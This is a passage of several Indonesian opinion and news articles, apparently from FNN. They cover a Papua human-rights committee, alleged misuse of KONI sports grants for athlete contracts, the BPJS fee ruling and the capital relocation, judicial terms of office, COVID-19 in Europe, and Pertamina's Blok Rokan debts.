dibuatkan laporan pengaduan, agar Komnas HAM bisa mulai melakukan pekerjaannya. Selain itu, sebagai tugas pokok DPR untuk memproteksi warga negara. Kedua, membantu negara, agar bisa memproteksi rakyat dari kejahatan kemanusiaan. Selain itu, menghapus kejahatan kemanusiaan terjadi di Indonesia. Sekali lagi, patut untuk mengapresiasi langkah kongkrit sebagai tahapan awal yang sudah dilakukan DPR Papua, dengan membentuk Pansus Kemanusiaan. Ini terobosan yang sangat luar biasa. Sebab bisa dijadikan sebagai sarana memproteksi rakyat. Langkah ini juga bagian dari tujuan nasional yang kongrit, yakni melindungi segenap rakyat. Karena melindungi rakyat itu adalah bagian dari tujuan nasional kita dalam berbangsa dan bernegara, maka, semua pihak wajib memberikan apresiasi kepada DPR Provinsi Papua. Selain itu, memberikan mendukungan, agar kerja-kerja Pansus Kemanusiaan DPR Provinsi Papua bisa berjalan dengan lancar. Yang Bisa Dilakukan Pansus Dari pikiran luar biasa yang dilahirkan oleh DPR Provinsi Papua, lahirlah Pansus Kemanusiaan.Untuk itu, ada beberapa hal yang bisa dilakukan sebagai proses kerja Pansus. Misalnya, Pansus Kemanusiaan segera melakukan Forum Group Discussion (FGD)dengan berbagai stakeholder guna mendengarkan masukan-masukan sebagai dasar dan bijakan kerja Pansus. Pansus Kemanusiaan bisa mendorong pembentukan Pansus Kemanusiaan di Setiap Kabupaten atau Kota di Papua. Namanaya Pansus DPR Daerah untuk di seluruh Kabupaten atau Kota. Tujuannya, untuk mempermudah hubungan kerja dan investigasi setiap kasus. Merumuskan tahap-tahapan Advokasi. Selain itu, membuat laporan tahunan tentang kasus pelanggaran HAM di Papua. Setelah itu, evaluasi dan publikasi kepada publik setiap hasil kerja Pansus. Tentu dengan kerja-kerja kongkrit Pansus tersebut, diharapkan akan meminimalisir kejahatan kemanusiaan di Papua. Jika kejahatan kemanusiaan di Papua dapat diminimalisir, bahkan hilang dari Papua, maka tujuan nasional yakni melindungi segenap warga negara akan terwujud. Mari kita dukung kerja-kerja Pansus Kemanusiaan untuk memproteksi kemanusiaan di Papua. Harapnnya, kerja Pansus Kemanusiaan ini bisa berjalan maksimal. Semoga Tuhan memberkati pekerjaan Pansus Kemanusiaan. Penulis adalah Aktivis Kemanusiaan dari Papua

Kontrak Pecatur Irene Kharisma Sukandar Contoh Nyata Korupsi Dana Hibah KONI

Jika memang benar telah terjadi dugaan korupsi “kontrak atlet” tentunya harus ada pihak yang bertanggung jawab! Oleh Mochamad Toha Jakarta, FNN - Lembaga Penegak Hukum seperti KPK, Kejaksaan, maupun Polri, mulai menyelidiki dugaan penyalahgunaan Dana Hibah Olahraga KONI Jawa Timur ketika PON XIX/2016 di Bandung. Salah satunya terkait “Kontrak Atlet” pecatur nasional. Dilansir Liputan6.com (10 Jul 2013, 03:25 WIB), pecatur nasional Grand Master Wanita (GMW) Irene Kharisma Sukandar dipastikan batal pindah ke Jatim, setelah PB Percasi dan KONI Jabar melakukan pertemuan membahas terkait kasus mutasi atlet itu. “Ya KONI Jabar sudah bertemu dengan PB Percasi terkait masalah Irene, intinya PB Percasi menyatakan Irene atlet Jabar,” ungkap Ketua Umum KONI Jabar H Azis Syarif di Bandung, Selasa (9/7/13). Pertemuan yang berlangsung di sebuah hotel di Kota Bandung tersebut dihadiri oleh Ketua PB Percasi Hasyim Djojohadikusumo, Wakil Ketua PB Percasi Utut Adianto, Ketua KONI Jabar H Azis Syarif, Ketua II KONI Jabar M Yudha Saputra, Ketua Pengda Percasi Jabar Syarif Bastaman serta orang tua Irene, Singgih H. Dalam pertemuan itu, kata Azis Syarif, memastikan tidak ada kepindahan Irene ke Jatim, meski sebelumnya atlet nasional itu telah melakukan penandatanganan kerja sama dengan KONI Jatim pada 2012, serta mendapat bantuan dana pembinaan. “Dalam pertemuan itu sudah jelas posisinya, Irene tetap atlet Jabar dan akan memperkuat dalam berbagai kejuaraan dan PON XIX/2016,” kata Azis Syarif. Terlepas dari gagalnya kepindahan Irene ke Jatim, kata Azis Syarif, KONI Jabar tidak merasa menang. Ini karena yang terpenting aturan main telah ditegakkan dan semuanya bisa menerimanya, termasuk atlet yang bersangkutan. “Bukan kalah menang dalam hal ini, namun hal yang baru terjadi itu harus menjadi pelajaran bersama, kepindahan atlet itu harus ditempuh melalui mekanisme yang benar. KONI Jabar selama ini memperjuangkan karena selama ini turut memberi dukungan dan membina Irene Kharisma,” kata Azis Syarif. Terkait kewajiban atlet yang bersangkutan mengembalikan dana kepada KONI Jatim, kata Azis Syarif, menjadi tanggung jawab atlet yang bersangkutan. Namun, ia mengapresiasi PB Percasi yang menyatakan siap mendukung Irene Kharisma dalam berbagai kegiatan. “Kami apresiasi semua pihak bisa melihat permasalahan ini sesuai dengan yang seharusnya, sesuai mekanisme. Dan ke depan Irene akan menjadi tumpuan dan harapan Jabar termasuk di ajang PON XIX/2016,” kata Azis Syarif. Sumber di KONI Jatim mengakui, Irene memang belum mengembalikan dana pembinaan PON 2016. Secara hukum Irene salah tidak mengembalikan dana. Namun, KONI Jatim juga salah. Telah mengalirkan dana pembinaan ketika kesepakatan kontrak belum selesai. Jadi, jelas melanggar hukum. Penyelewengan anggaran dana Hibah Olahraga. Belum kembalinya dana pembinaan Irene, telah jadi rahasia umum. Semua pengurus KONI Jatim yang terlibat dalam PON 2016 sudah tahu ini. Demikian pula, KONI Kabupaten/kota dan Pengprov Percasi Jatim. Ironisnya mereka semua diam. Kabarnya, soal “kontrak atlet” Irene ini yang salah satu bahan pendalaman lembaga hukum. Karena, kontrak belum pasti, dan pindahan belum jelas, tapi KONI Jatim sudah berikan dana pembinaan. Nilainya lumayan besar sekitar Rp15 juta/bulan. Dan. sudah dibayar sekitar 2 tahun lebih. Juga, sebagian dana transfer yang nilainya sama, sekitar Rp500 juta. Menurut Advokat Subagyo, SH, suatu pembayaran dari pihak ke pihak lain itu ada dasar atau alasannya. Apakah itu hibah, atau karena prestasi tertentu, atau karena janji tertentu. Tinggal dilihat kontrak atau perjanjian antara Irene dengan KONI Jatim. Jika misalnya kontraknya adalah agar Irene menjadi atlet Jatim, dan itu tidak bisa terealisasi, berarti kan kontraknya batal. Secara hukum, jika kontraknya batal kan dikembalikan pada posisi semula. Irene harus mengembalikan dana itu ke KONI Jatim. Lalu bagaimana jika dana itu tidak dikembalikan atau Irene tidak mampu mengembalikan? “Ya unsur melawan hukumnya terpenuhi, karena Irene tidak memenuhi kewajiban untuk mengembalikan uang yang bukan haknya kepada KONI Jatim,” tegas Subagyo. Pasal 1360 KUHPerdata jadi dasar kewajiban Irene mengembalikan uang dari KONI Jatim tersebut. “Jika uangnya dari uang negara ya bisa jadi kasus korupsi. Pengurus KONI Jatim yang terlibat ya juga bisa jadi pelaku penyerta dalam kasus korupsinya,” lanjutnya. Sekarang tinggal diperiksa saja terhadap pembayaran itu apakah Irene sudah menjalankan prestasi menurut kontraknya. Terlebih lagi jika penggunaan dana dengan cara pembayaran kepada Irene itu menyalahi peraturan peruntukannya ya bisa jadi perkara. Melihat keseriusan aparat penegak hukum menelusur dugaan penyelewengan penggunaan dana hibah olahraga KONI Jatim ini, sebaiknya Gubernur Jatim Khofifah Indar Parawansa segera melakukan klarifikasi ke KONI Jatim. Jika memang benar telah terjadi dugaan korupsi “kontrak atlet” tentunya harus ada pihak yang bertanggung jawab! *** Penulis wartawan senior.

Setelah BPJS, Ayo Gugat Juga Pemindahan Ibukota

By Asyari Usman Jakarta, FNN - Hari ini, para pembayar iuran BPJS Kesehatan bergembira. Kemarin, Senin (9/3/2020) Mahkamah Agung (MA) membatalkan kenaikan iuran yang harus mereka bayar sejak 1 Januari 2020. MA mengabulkan gugatan Komunitas Pasien Cuci Darah Indonesia (KPCDI) yang dilayangkan awal Desember 2019. Komunitas mengatakan kenaikan iuran BPJS Kesehatan sangat tidak masuk akal. Kenaikan itu dilakukan secara sewenang-wenang oleh Presiden lewat Perpres No. 75 Tahun 2019. Iuran Kelas III dinaikkan menjadi Rp42,000 per bulan dari Rp25,500. Kelas II dinaikkan menjadi Rp110,000 dari Rp51,000. Dan Kelas I dinaikkan menjadi Rp160,000 dari semula Rp80,000. Bagi banyak peserta, kenaikan iuran ini sangat membebani mereka. Tetapi, pemerintah tidak mendengarkan keluhan rakyat. Pemerintah membuat dan memberlakukan kebijakan secara otoriter. Alhamdulillah, MA masih bisa diharapkan untuk menegakkan keadilan. Pemerintah harus mengembalikan besaran iuran BPJS Kesehatan ke harga semula. Sebetulnya, banyak lagi kesewenangan pemerintah yang pantas digugat. Salah satunya adalah pemindahan ibukota negara ke Kalimantan Timur. Sudah banyak yang mengatakan bahwa pemindahan ibukota bukanlah hal yang mendesak. Proyek ini hanya akan buang-buang duit negara. Yang paling senang adalah para pemilik ratusan ribu hektar lahan untuk ibukota baru itu. Merekalah yang dibuat kaya-raya oleh Presiden Jokowi. Rakyat tidak merasakan manfaat apa-apa. Bahkan, ribuan pegawai negeri akan merasakan beban berat kalau mereka harus pindah lokasi dari Jakarta. Setelah kemenangan gugatan BPJS Kesehatan, berbagai pihak tampaknya memiliki peluang untuk menggugat pemindahan ibukota. Banyak dasar penggugatan. Pertama, pemidahan ibukota tidak bisa hanya diputuskan oleh Presiden. Ibukota negara adalah entitas yang menjadi hak dan menyangkut kepentingan rakyat seluruhnya. Karena itu, harus ada proses yang melibatkan seluruh rakyat yang punya hak pilih. Harus ada referendum. Rakyat harus ditanya, setuju pindah atau tidak. Kedua, pemindahan ibukota itu akan membebani keuangan negara ribuan triliun. Hanya akan menumpuk utang yang kemudian harus dibayar oleh rakyat. Padahal, utang yang sudah menggunung saat ini saja menimbulkan dampak buruk terhadap pemenuhan kewajiban negara atas rakyat. Termasuklah beban kenaikan BPJS Kesehatan yang dibatalkan oleh MA. Ketiga, pemindahan ibukota akan membuka peluang korupsi dan kolusi. Pemindahan ini hanya akan memperkaya para pemegang kekuasaan dan kroni-kroni mereka yang akan dilibatkan dalam proses pemidahan. Para pemilik ratusan ribu hektar lahan akan menangguk keuntungan besar. Juga para pengembang yang sudah banyak mengisap kekayaan negara selama ini. Mereka itulah yang akan ditambah kekayaannya berlipat-lipat oleh pemidahan ibukota. Dan orangnya itu-itu juga. Sudah bisa dipetakan. Keempat, pemindahan ibukota hampir pasti akan menyusahkan para pegawai yang juga harus pindah. Tidak semua pegawai negeri memiliki kemampuan untuk mengatasi berbagai problem yang muncul jika mereka harus pindah ke ibukota baru. Ada masalah finansial, masalah anggota keluarga, masalah sosial, dlsb. Jadi, ada celah untuk menggugat pemindahan ibukota. Rakyat bisa melakukan gugatan ’class action’. Para pegawai negeri juga bisa menggugat keputusan Presiden Jokowi tentang pemindahan ibukota itu. Jangan biarkan pemindahan itu berjalan tanpa ada ‘check and balances’. Jangan biarkan peluang korupsi menjadi kenyataan. Kesewenangan Presiden Jokowi harus dicegah. Dia tidak boleh menjadi otoriter yang mengutamakan kepentingan dan keuntungan segelintir pemiliki modal yang culas dan rakus. Yakinlah, gugatan Anda akan berhasil.[] 10 Maret 2020 Penulis wartawan senior.

Periodesasi Jabatan Hakim, Logika Menyesatkan Atas Kekuasaan Kehakiman

Patut diduga, bahwa pihak yang mengajukan JR atas UU Mahkamah Agung adalah pihak yang menghendaki runtuhnya Indonesia sebagai negara hukum. Sebab yang terjadi adalah adanya pelemahan terhadap kekuasaan kehakiman. Jika kekuasaan kehakiman menjadi tidak berdaya dan lemah dalam menjalankan fungsinya, maka sudah dipastikan akan terjadi dominasi kekuasaan yang terpusat pada satu kekuasaan tertentu. By Dr. Ismail Rumadan Jakarta, FNN - Jabatan hakim adalah suatu jabatan yang dijamin kebebasan dan kemerdekaannya. Hakim yang harus bebas itum baik di dalam konstitusi maupun prinsip- prinsip universal kekuasaan kehakiman. Article A.1-A.2 International Bar Association Code of Minimum Standards of Judicial Independence,1982, menyebutkan bahwa, “hakim harus mendapatkan independensi personal dan independensi substantif." Independensi personal, mengartikan bahwa syarat dan kondisi pelayanan peradilan dijamin secara memadai. Harus dipastikan bahwa hakim tidak tunduk pada kontrol eksekutif. Sedangkan Independensi substantif, mengartikan bahwa dalam melaksanakan fungsi yudisialnya, hakim tidak tunduk pada tekanan apapun selain hukum dan hati nuraninya. Untuk itu, kekuasaan kehakiman secara keseluruhan harus mendapatkan otonomi dan independensi. Berkaitan dengan itu, patut dipertanyakan apa rasio legis yang digunakan oleh pihak yang mengajukan Judicial Review (JR) terhadap UU Nomor 3 tahun 2009 Tentang Mahkamah Agung, terkait dengan masa jabatan hakim Agung? Logika yang dibangun oleh pihak yang mengajukan JR terhadap UU Mahkamah Agung adalah sebuah logika yang sangat dangkal dan minim landasan filosofis. Logika yang dibangun tak lain hanya bersandarkan kepada kepentingan praktis semata. Apalagi dengan membandingkan jabatan hakim dengan jabatan yang lain, seperti jabatan Presiden dan Jabatan Wakil Presiden, yang dipilih lima tahun sekali. Sangat dangkal sekali. Setelah itu, Presiden dan Wakil Presiden dapat dipilih kembali dalam periode berikutnya, untuk jangka waktu lima tahun. Tanpa melihat pada apa karakter dan jenis kewenangan yang melekat pada kekuasaan kehakiman tersebut. Membandingkan kekuasaan Presiden dan Wakil Presiden dengan kekuasan kehakiman adalah penyesatan yang mengada-ada. Jika dibandingkan dengan kekuasaan lain, seperti Presiden dan DPR. Secara esensial, masing-masing jabatan memiliki karakter yang berbeda-beda. Dari sisi fungsi dan kewenanganya, juga masing-masing berbeda. Tidak dapat disamakan, atau dicoba untuk disamakan. Demikian juga dengan cara pengisian jabatan terkait kekuasaan kehakiman. Berbeda dengan cara pengisian jabatan kekuasaan Presiden dan Wakil Presiden, Begitu juga dengan kekuasaan DPR. Kekuasaan Kehakiman adalah suatu kekuasaan yang dikonstruksikan sebagai kekuasaan yang merdeka. Yang terbebas dari segala bentuk intervensi dan campur tangan kekuasaan lain. Oleh karena itu, di Amerika Serikat misalnya, masa jabatan Hakim Agung itu seumur hidup. Setelah ditetapkan atau dipilih oleh Kongres, Hakim Agung dapat menjalankan tugas dan kewenangannya selama seumur hidup. Kewenangan ini diberikan, agar Hakim Agung yang terpilih tidak terikat atau tergantung dengan kepentingan politik apapun. Pada tahun 1953, ada usaha untuk mengubah masa jabatan Hakim Agung, termasuk hakim Negara Federal. Dari sebelumnya dari seumur hidup, menjadi usia 75 tahun melalui amandement Konstitusi Amerika Serikat. Usul ini diajukan oleh American Bar Association yang diterima oleh Senat tahun 1954. Akan tetapi upaya ini kemudian ditolak oleh Hose Representative, sehingga upaya amandement untuk mengurangi masa pensiun Hakim Agung itupun tidak berhasil. Upaya pembatasan masa jabatan Hakim Agung ini ditolak. Penolakan semata-mata untuk menjaga agar independensi keluasaan kehakiman tetap terjaga. Para hakim terbebas dari tekanan politik. Para hakim juga harus bebas dalam menguji undang-undang sebagai produk Kongres dan tindakan-tindakn kekuasaan Eksekutif yang bertentangan dengan Kinstitusi. Sudah dapat dipastikan jika saja hakim agung diseleksi setiap lima tahun sekali, maka sangat rawan dan rentan akan intervensi politik. Hakim Agung yang diseleksi sangat memiliki ketergantungan secara politik dengan kekuasaan maupun partai-partai politik yang ada di DPR. Jika kondisi ini yang terjadi, maka para hakim tidak bebas dan tidak mandiri dalm menjalankan kekuasaan kehakiman. Dapat dikatakan bahwa kekuasan yudikatif terbelenggu oleh kekuatan dan tekanan politik dari kekuasan legislatif maupun kekuasaan eksekutif. Patut diduga, bahwa pihak yang mengajukan JR atas UU Mahkamah Agung adalah pihak yang menghendaki runtuhnya Indonesia sebagai negara hukum. Sebab yang terjadi adalah adanya pelemahan terhadap kekuasaan kehakiman. Jika kekuasaan kehakiman menjadi tidak berdaya dan lemah dalam menjalankan fungsinya, maka sudah dipastikan akan terjadi dominasi kekuasaan yang terpusat pada satu kekuasaan tertentu. Pada kondisi semacam inilah, sangat dikhawatirkan akan terjadi penyalagunaan kewenangan. Korupsi bisa terjadi di setiap sektor pelayanan publik. Bahkan tindakan-tindakan zolim bisa saja terjadi setiap saat kepada masyarakat. Jaminan akan kepastian hukum dan keadilan bagi warga masyarakat pencari keadilan tak kunjung diperoleh akibat lemahnya kekuasaan kehakiman. Sekali lagi, patut diduga bahwa pihak yang mengajukan JR atas UU Mahkamah Agung adalah pihak yang menghendaki, agar pelaksanaan fungsi checks and balances system antar pelaksana kekuasaan dalam mengontrol jalannya pemerintahan tidak berjalan normal sebagaimana mestinya. Penulis adalah Dosen Fakuktas Hukum Universitas Nasional Jakarta

Penyebaran Corona di Eropa Sangat Cepat dan Menegangkan

By Asyari Usman Jakarta, FNN - Pemerintah Italia menyatakan darurat nasional. Jumlah kasus baru virus Corona bertambah hampir 1,500 dalam 24 jam. Jumlah yang meninggal juga meningkat cepat. Total kasus Corona di negara ini menembus angka 7,375 dengan korban meninggal 366. Wilayah elit kaya dibagian utara, sekarang ditutup total. Termasuk kota Milan sebagai pusat keuangan. Juga ditutup kota Venice, Palma dan Modena. Tindakan ini diambil guna menghentikan penyebaran virus ganas itu Warga dilarag keluar atau masuk ke Lombardy –daerah paling kaya di Italia. Langkah pengekangan gerak ini berlaku terhadap 16 juta orang di wilayah itu. Larangan ini berlangsung sampai 3 April 2020. UU permabatasan ruangan gerak, ditandatangani oleh PM Italia Giuseppe Conte. Suasana di Eropa mulai tegang. Kepanikan di Italia tampaknya akan menjalar ke negara-negara lain. Laju penularan di sejumlah negara Eropa lainnya juga cukup cepat. Di Prancis, jumlah tertular masih tercatat sekitar 200-an sekitar 10 harian yang lalu. Tapi hari Minggu malam (8/3/2020) jumlahnya telah melampaui angka seribu. Tepatnya, 1,126 –dengan 177 kasus baru. Korban meninggal menjadi 19 orang. Begitu juga di Jerman. Tak sampai seminggu yang lalu, jumlah penyandang Corona masih ratusan. Sekarang mencapai 1,040 dengan 240 kasus baru. Belum ada laporan korban meninggal. Di Eropa, “negara-negara besar Corona” lainnya adalah Spanyol, Swiss, Inggris, Belanda, Swedia, Belgia, Norwegia, dan Austria. Spanyol melaporkan 674 kasus dengan pertambahan sangat cepat sebesar 149 dalam 24 jam. Ada 17 orang yang meninggal. Swiss mencatat 337 kasus, 69 diantaranya adalah kasus baru dengan korban meninggal 2 orang. Di Inggris, yang tertular Corona ada 273 orang termasuk tambahan baru 64 kasus. Juga sangat cepat. Lebih 20% bertambah dalam 24 jam. Korban meninggal 3 orang. Di Belanda, 265 orang dihinggapi Corona termasuk 77 kasus baru dengan korban meninggal 3 orang. Pertambahan kasus di Belanda juga cukup signifikan. Swedia memiliki 203 orang yang tertular, termasuk 42 kasus baru. Di Belgia, penyebaran virus yang belum ada obatnya itu juga cepat. Beberapa hari lalu, jumlah penderita masih di bawah 100, sekarang tercatat 200. Bertambah 31 dalam waktu sehari semalam. Di Norwegia, ada 176 orang yang ditulari Corona –20 diantaranya kasus baru. Austria mencatat 105 kasus, bertambah 23 dalam sehari. Padahal, beberapa hari lalu baru sebatas belasan orang. Di China sendiri, penularan menunjukkan penurunan drastis. Dalam 24 jam, hanya dilaporkan 8 kasus baru. Korban jiwa di China mencapai 3,098 orang tetapi korban meninggal yang baru hanya satu orang dalam 24 jam. Di luar China dan Eropa, negara yang paling berat dilanda Covid-19 (nama penyakit yang disebabkan SARS-CoV-2) adalah Korea Selatan. Di sini, ada 7,313 kasus. Tetapi, tingkat pertambahan baru hanya sekitar 3%, yaitu 272 kasus. Bandingkan dengan tingkat penularan di Italia sebesar 20%, di Prancis 15% dan di Jerman 23%. Epsentrum lainnya virus Corona adalah Iran. Dalam beberapa hari saja, jumlah kasus mencapai 6,566. Kasus baru dalam 24 jam mencapai 743 –naik 11%. Iran menjadi “pusat penyebaran” untuk wilayah Timur Tengah. Tetapi, orang-orang yang tertular di kawasan Arab ini ada juga yang mendapatkannya dari kontak dengan warga Italia yang berkunjung ke Timur Tengah atau sebaliknya. Meskipun penularan virus Corona telah mencapai 104 negara, Organisasi Kesehatan Dunia (World Health Organisation, WHO) masih belum menyebutnya “pandemi”. Seorang penasihat senior WHO, Dr Bruce Aylward, mengatakan penyebaran itu masih bisa dihentikan kalau semua pemerintah di dunia memiliki persiapan dan kemampuan. Termasuk memeriksa terduga Corona, melacak dengan cepat dan serius orang-orang yang pernah kontak dengan penyandang virus, dan tentunya memiliki fasilitas isolasi. Bagaimana dengan Indonesia?[] 9 Maret 2020 Penulis wartawan senior.

Pertamina di Blok Rokan, "Sudah Jatuh Tertimpa Tangga Pula"

Jadi, walaupun Pertamina mengambil alih ladang migas Blok Reokan dengan harga Rp 10,5 triliun. Jumlah tersebut hanya untuk membeli dari doang. Belom termasuk operasional nantinya. Pertamina bakal merogok kantong lagi. Paling kurang cari uatang baru lagi. Sebab masih butuh uang lagi untuk membiayai operasinal ladang migas Blok Rokan setelah tahun 2021. By Salamuddin Daeng Jakarta, FNN- Sebetulnya Pertamina tidak mempunyai kemampuan keuangan untuk membeli ladang Migas Blok Rokan kepada Pemerintah pada akhir tahun 2018 lalu. Posisi keuangan Pertamina sedang payah. Kondisi ini sebagai akibat begitu banyak beban dan tanggung jawab yang harus dipikul oleh Pertamina. Perusahaan BUMN terlalu banyak menjalankan kebijakan-kebijakan populis pemerintah menuju Pilpres 2019 lalu. Pertamina terpaksa harus melipatgandakan utang baru untuk menjaga keuangan perusahaan. Caranya, Pertamina menerbitkan global bond senilai U$ 750 juta atau setara dengan Rp 10,5 triliun. Hasil yang didapat dari global bond tersebut untuk dapat membayar lading Blok Migas Rokan kepada pemerintah melalui pembayaran signature bonus. Nilai pembelian lading minyak Blok Rokan yang terbilang sangat sangat besar. Lelang lading Migas Blok Rokan dilakukan oleh Kementerian Energi dan Sumberdaya Daya Mineral (ESDM). Hasilnya, Pertamina yang dimenangkan. Pertamina mengalahkan peserta pesaing lainnya termasuk Chevron. Meskipun sudah membayar dengan nilai sangat pantastis dan besar, ternyata Pertamina tidak bisa langsung dapat memasuki Blok Rokan. Pertamina juga tidak bisa melakukan aktvitas pengeboran minyak dan gas di Blok Rokan. Pertamina baru dapat masuk secara penuh ke ladang Migas Blok Rokan, dan melakukan kegiatan setelah kontrak Blok Rokan berakhir tahun 2021 nanti. Sementara proses secara bertahap menuju ke tahun akhir 2021 atau tinggal 21 bulan lebih lagi itu, tidak bisa berlangung dalam tahap yang normal. Padahal Pertamina berharap bisa masuk ke Blok Rokan dari sekarang. Namun tampaknya, Satuan Khusus Kerja (SKK) Migas gagal memfasilitasi proses peralihan secara bertahap ladang Migas Blok Rokan, dari tangan Chevron kepada Pertamina. Kondisi ini sangatlah membahyakan bagi Pertamina. Karena apabila Pertamina tidak masuk secara bertahap ke dalam pengeloaan ladang Migas Blok Rokan dari sekarang, maka dapat dipastikan produksi migas tahun 2021 akan berada dalam kondisi yang sangat bahaya. Sebagaimana diketahui bahwa ladang Migas Blok Rokan di Provinsi Riau, merupakan blok migas dengan produksi migas terbesar di Indonesia. Ladang migas tersebut telah yang dikelola oleh perusahaan AS Chevron Oil selama kurang lebih 100 tahun. Mengapa mau dilepas oleh Chevron? Karena produksi di ladang Migas Blok Rokan terus menerus berada dalam kondisi penurunan. Tanpa adanya pengeboran dan sumur-sumur migas baru, maka produksi Blok Rokan akan menurun dratis. Sementara Chevron tidak mungkin diharapkan melakukan investasi baru, karena akan segera meninggalkan lapangan tersebut. Ibarat pepatah, “sudah jatuh tertimpa tangga pula”. Pertamina harus berhadapan dengan harga minyak mentah di pasaran dunia yang semakin merosot. Tidak ada harapan harga minyak akan pulih dalam dua atau tiga tahun mendatang. Jadi, walaupun Pertamina mengambil alih ladang migas Blok Rokan dengan harga Rp 10,5 triliun. Jumlah tersebut hanya untuk membeli dari doang dari pemerintah. Belum termasuk biaya operasional nantinya. Pertamina bakal merogok kantong lagi. Paling kurang Pertamina perlu cari utang baru lagi. Sebab masih butuh uang lagi untuk membiayai operasinal ladang migas Blok Rokan setelah tahun 2021 nanti. Uang yang dikeluarkan Pertamina untuk urusan ladang migas Blok Rokan tentu tidak kecil. Namun uang yang didapat kelak darin Blok Rokan, tidak cukup untuk mengembalikan uang yang dikeluarkan Pertamina. Bahasa kampongnya “Untung Nama Bilang Belanja” atau "Gali Lobang Untuk Tutup Goa". Selain produksi Blok Rokan ini akan menurun secara alamiah, harga jual minyak mentah yang dihasilkan tidak akan menutupi biaya-biaya produksi nanti. Apalagi untuk menutupi utang Pertamina yang sudah terlanjur besar dan menggunung sekarang. Berdasarkan laporan Pertamina, utang dalam bentuk global bond Pertamina sekarang senilai U$ 12,5 milliar atau dengan Rp 175 triliun. Jumlah tersebut belum termasuk utang kepada bank, baik itu bank dalam maupun luar negeri. Jadi nasib usaha hulu migas Pertamina dan blok-blok migas dalam negeri yang baru dibeli Pertamina tampaknya akan bernasib suram. Semoga ada jalan keluarnya. Penulis adalah Peneliti Asosiasi Ekonomi Politik Indonesia (AEPI)

Tindak Lanjut Dugaan Korupsi Hibah KONI, Siapa Siap Eksekusi?

Oleh Mochamad Toha Jakarta, FNN - Sejak Jum’at (6/3/2020) sebuah rekomendasi beredar di KPK, Kejaksaan, dan Polri. Sejenis “perintah” agar melacak proses Kontrak Atlet yang menggunakan Dana Hibah Olahraga dari KONI Provinsi. Isinya menyangkut penyalahgunaan dana tersebut. Kabarnya, target pertama adalah Kontrak Atlet yang tampil pada PON 2016 di Bandung. Ada tiga KONI Provinsi menjadi sasaran ketiga lembaga penegak hukum itu. Yakni: KONI Jatim, Jabar, dan DKI Jakarta. Aroma korupsi terkuat dilakukan ketiganya. Berdasarkan UU Nomor 3 Tahun 2005 tentang Sistem Keolahragaan Nasional, PP Nomor 16, 17, dan 18 Tahun 2007 sudah memastikan, dana Hibah Olahraga hanya untuk Pembinaan Atlet Daerah. Bukan Dana Transfer Atlet! Sehingga, dapat dipastikan, KONI Provinsi yang melakukan Kontrak Atlet telah melanggar aturan perundangan yang berlaku. Coba kita simak Pasal 9 UU Nomor 3 Tahun 2005 tentang Sistem Keolahgaraan Nasional, Bagian Kedua mengenai Alokasi Pendanaan. Pasal 9 (1)Dana yang diperoleh dari sumber pendanaan sebagaimana dimaksud dalam Pasal 7 hanya dapat dialokasikan untuk penyelenggaraan keolahragaan yang meliputi: a.olahraga pendidikan, olahraga rekreasi, dan olahraga prestasi; b.pembinaan dan pengembangan olahraga; c.pengelolaan keolahragaan; d.pekan dan kejuaraan olahraga; e.pembinaan dan pengembangan pelaku olahraga; f.peningkatan kualitas dan kuantitas prasarana dan sarana olahraga; g.pengembangan ilmu pengetahuan dan teknologi keolahragaan; h.pemberdayaan peran serta masyarakat dalam kegiatan keolahragaan; i.pengembangan kerja sama dan informasi keolahragaan; j.pembinaan dan pengembangan industri olahraga; k.standardisasi, akreditasi dan sertifikasi; l.pencegahan dan pengawasan doping; m.pemberian penghargaan; n.pelaksanaan pengawasan; dan o.pengembangan, pengawasan, serta pengelolaan olahraga profesional. (2)Tata cara penggunaan dana sebagaimana dimaksud pada ayat (1) dilakukan sesuai dengan ketentuan Peraturan Perundang-undangan. Selanjutnya kita simak juga PP Nomor 18 Tahun 2007 tentang Pendanaan Keolahragaan, Bab XII mengenai Pendanaan Keolahragaan. Pasal 69 (1)Pendanaan keolahragaan menjadi tanggung jawab bersama antara Pemerintah, pemerintah daerah, dan masyarakat. (2)Pemerintah dan pemerintah daerah wajib mengalokasikan anggaran keolahragaan melalui Anggaran Pendapatan dan Belanja Negara dan Anggaran Pendapatan dan Belanja Daerah. Pasal 70 (1)Sumber pendanaan keolahragaan ditentukan berdasarkan prinsip kecukupan dan keberlanjutan. (2)Sumber pendanaan keolahragaan dapat diperoleh dari: a.masyarakat melalui berbagai kegiatan berdasarkan ketentuan yang berlaku; b.kerja sama yang saling menguntungkan; c.bantuan luar negeri yang tidak mengikat; d.hasil usaha industri olahraga; dan/atau e.sumber lain yang sah berdasarkan ketentuan peraturan perundang-undangan. Pasal 71 (1)Pengelolaan dana keolahragaan dilakukan berdasarkan pada prinsip keadilan, efisiensi, transparansi, dan akuntabilitas publik. (2)Dana keolahragaan yang dialokasikan dari Pemerintah dan pemerintah daerah dapat diberikan dalam bentuk hibah sesuai dengan peraturan perundang-undangan. Pasal 72 Ketentuan lebih lanjut mengenai pendanaan keolahragaan sebagaimana dimaksud dalam Pasal 69 sampai dengan Pasal 71 diatur dengan Peraturan Pemerintah. Dalam setiap penyelenggaraan PON, dipastikan terjadi transfer atlet nasional antar provinsi yang menggunakan Dana Hibah Olahraga dari Pemprov untuk KONI Provinsi. Kabarnya, ini terjadi di ketiga provinsi yang disebut di atas tadi. Jejak digital yang ditulis Kompas.com (11/02/2016, 20:07 WIB), terungkap adanya praktek kontrak atlet antar provinsi dalam gelaran Pekan Olahraga Nasional (PON) 2016, September 2016. Atlet renang nasional, Indra Gunawan misalnya, ketika itu mengaku masih menunggu dana yang akan digunakan untuk latihan dan persiapan menjelang membela kontingan Jawa Timur di arena PON 2016, September 2016. Indra Gunawan, 27, yang saat itu bermukim dan berlatih di Bali mengaku mengalami kendala dana untuk berlatih secara maksimal. “Dana untuk suplemen, try out, training camp, dan juga peralatan tak pernah turun hingga saat ini,” kata Indra yang dikontrak Jatim bersama beberapa atlet nasional lainnya seperti Glenn Victor Sutanto. Ia menyebut, bahkan untuk melakukan tes fisik di Surabaya pun, Januari 2016, Indra tak bisa datang karena terkendala dana. “Pemberitahuan terlalu mepet, sehari sebelumnya. Belum lagi ada kendala dana,” ungkap Indra. Indra Gunawan merupakan peraih satu-satunya medali emas buat tim renang Indonesia di ajang SEA Games di Singapura, Juni 2015. Ketika itu Indra meraih medali emas untuk nomor 50 meter gaya dada. Indra yang dikontrak Jatim setelah pindah dari Sumatera Utara mengaku tidak bermasalah dengan gaji bulanan dari KONI Jatim. “Meski waktunya tidak teratur, namun gaji bulanan selalu saya terima,” kata ayah dua anak ini. Berita yang ditulis Kompas.com itu merupakan salah satu petunjuk adanya 